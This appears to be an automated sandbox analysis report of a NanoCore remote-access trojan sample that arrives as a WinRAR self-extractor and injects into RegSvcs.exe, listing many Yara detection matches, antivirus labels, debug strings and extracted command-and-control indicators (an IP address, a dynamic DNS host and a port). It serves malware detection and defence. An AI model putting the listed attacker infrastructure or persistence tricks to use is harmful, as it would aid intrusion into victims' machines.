Source: Yara match	File source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE

Source: 2.2.RegSvcs.exe.60b0000.11.unpack	Avira: Label: TR/NanoCore.fadte
Source: 2.2.RegSvcs.exe.500000.1.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 12.2.RegSvcs.exe.d00000.1.unpack	Avira: Label: TR/Dropper.MSIL.Gen7

Source: zunUbtZ2Y3.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: zunUbtZ2Y3.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: zunUbtZ2Y3.exe
Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000002.00000000.677858519.0000000000072000.00000002.00020000.sdmp, RegSvcs.exe, 00000007.00000002.694635548.0000000000FF2000.00000002.00020000.sdmp, dhcpmon.exe, 00000009.00000002.697960296.0000000000062000.00000002.00020000.sdmp, RegSvcs.exe, 0000000C.00000000.708928174.00000000008E2000.00000002.00020000.sdmp, dhcpmon.exe, 0000000E.00000002.733978746.0000000000942000.00000002.00020000.sdmp, dhcpmon.exe.2.dr
Source:	Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\NanoProtectPlugin\NanoProtectClient\obj\Debug\NanoProtectClient.pdb source: RegSvcs.exe, 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, RegSvcs.exe, 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp
Source:	Binary string: System.EnterpriseServices.Wrapper.pdb source: RegSvcs.exe, 00000007.00000002.695470154.0000000005920000.00000002.00000001.sdmp, dhcpmon.exe, 00000009.00000002.699203084.00000000022D0000.00000002.00000001.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, dhcpmon.exe, RegSvcs.exe, 0000000C.00000000.708928174.00000000008E2000.00000002.00020000.sdmp, dhcpmon.exe, 0000000E.00000002.733978746.0000000000942000.00000002.00020000.sdmp, dhcpmon.exe.2.dr

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135A2DF FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0135A2DF
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136AFB9 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0136AFB9
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01379FD3 FindFirstFileExA,	0_2_01379FD3
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00F1399B GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00F1399B
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00F1399B GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00F1399B

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: 79.134.225.40
Source: Malware configuration extractor	URLs: strongodss.ddns.net

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: strongodss.ddns.net

Source: global traffic

TCP traffic: 192.168.2.4:49729 -> 79.134.225.40:48154

Source: Joe Sandbox View

IP Address: 79.134.225.40 79.134.225.40

Source: Joe Sandbox View

ASN Name: FINK-TELECOM-SERVICESCH FINK-TELECOM-SERVICESCH

Source: unknown

DNS traffic detected: queries for: strongodss.ddns.net

Source: nfiuc.pif.0.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://crl.globalsign.net/Timestamping1.crl0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0N
Source: nfiuc.pif.0.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://secure.globalsign.net/cacert/ObjectSign.crt09
Source: nfiuc.pif.0.dr	String found in binary or memory: http://secure.globalsign.net/cacert/PrimObject.crt0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://www.globalsign.net/repository/0
Source: nfiuc.pif.0.dr	String found in binary or memory: http://www.globalsign.net/repository/03
Source: nfiuc.pif.0.dr	String found in binary or memory: http://www.globalsign.net/repository09

Source: RegSvcs.exe, 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE

Operating System Destruction:

Protects its processes via BreakOnTermination flag

Show sources

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

Process information set: 01 00 00 00

Jump to behavior

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
